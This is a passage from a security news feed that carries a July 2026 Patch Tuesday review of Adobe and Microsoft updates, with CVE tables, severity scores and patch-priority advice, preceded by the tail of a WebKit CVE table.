        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43709" target="_blank" rel="noopener">CVE-2026-43709</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43712" target="_blank" rel="noopener">CVE-2026-43712</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43713" target="_blank" rel="noopener">CVE-2026-43713</a></td>
        <td>WebKit</td>
        <td class="impact">Visiting a website may leak sensitive data</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43715" target="_blank" rel="noopener">CVE-2026-43715</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to memory corruption</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43716" target="_blank" rel="noopener">CVE-2026-43716</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43725" target="_blank" rel="noopener">CVE-2026-43725</a></td>
        <td>WebKit</td>
        <td class="impact">A malicious website may be able to process restricted web content outside the sandbox</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43726" target="_blank" rel="noopener">CVE-2026-43726</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43727" target="_blank" rel="noopener">CVE-2026-43727</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43731" target="_blank" rel="noopener">CVE-2026-43731</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to memory corruption</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43732" target="_blank" rel="noopener">CVE-2026-43732</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may disclose sensitive user information</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43734" target="_blank" rel="noopener">CVE-2026-43734</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43735" target="_blank" rel="noopener">CVE-2026-43735</a></td>
        <td>WebKit</td>
        <td class="impact">A malicious website may exfiltrate data cross-origin</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43740" target="_blank" rel="noopener">CVE-2026-43740</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may result in the disclosure of process memory</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43742" target="_blank" rel="noopener">CVE-2026-43742</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43745" target="_blank" rel="noopener">CVE-2026-43745</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43720" target="_blank" rel="noopener">CVE-2026-43720</a></td>
        <td>WebKit Canvas</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43721" target="_blank" rel="noopener">CVE-2026-43721</a></td>
        <td>WebKit Storage</td>
        <td class="impact">A malicious website may be able to silently hijack clipboard data</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28979" target="_blank" rel="noopener">CVE-2026-28979</a></td>
        <td>WebRTC</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43717" target="_blank" rel="noopener">CVE-2026-43717</a></td>
        <td>WebRTC</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43718" target="_blank" rel="noopener">CVE-2026-43718</a></td>
        <td>WebRTC</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43746" target="_blank" rel="noopener">CVE-2026-43746</a></td>
        <td>WebRTC</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      </tbody>
    </table>
  



  
  









  <p class="">We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
